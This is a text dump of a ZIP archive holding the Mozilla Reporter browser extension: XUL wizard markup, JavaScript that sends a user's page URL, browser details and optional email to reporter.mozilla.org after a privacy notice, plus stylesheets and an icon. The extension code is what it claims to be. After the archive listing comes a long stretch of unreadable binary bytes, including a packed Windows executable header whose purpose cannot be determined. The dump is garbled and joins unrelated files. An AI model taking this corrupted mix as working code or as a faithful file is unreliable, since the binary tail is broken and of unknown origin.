<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
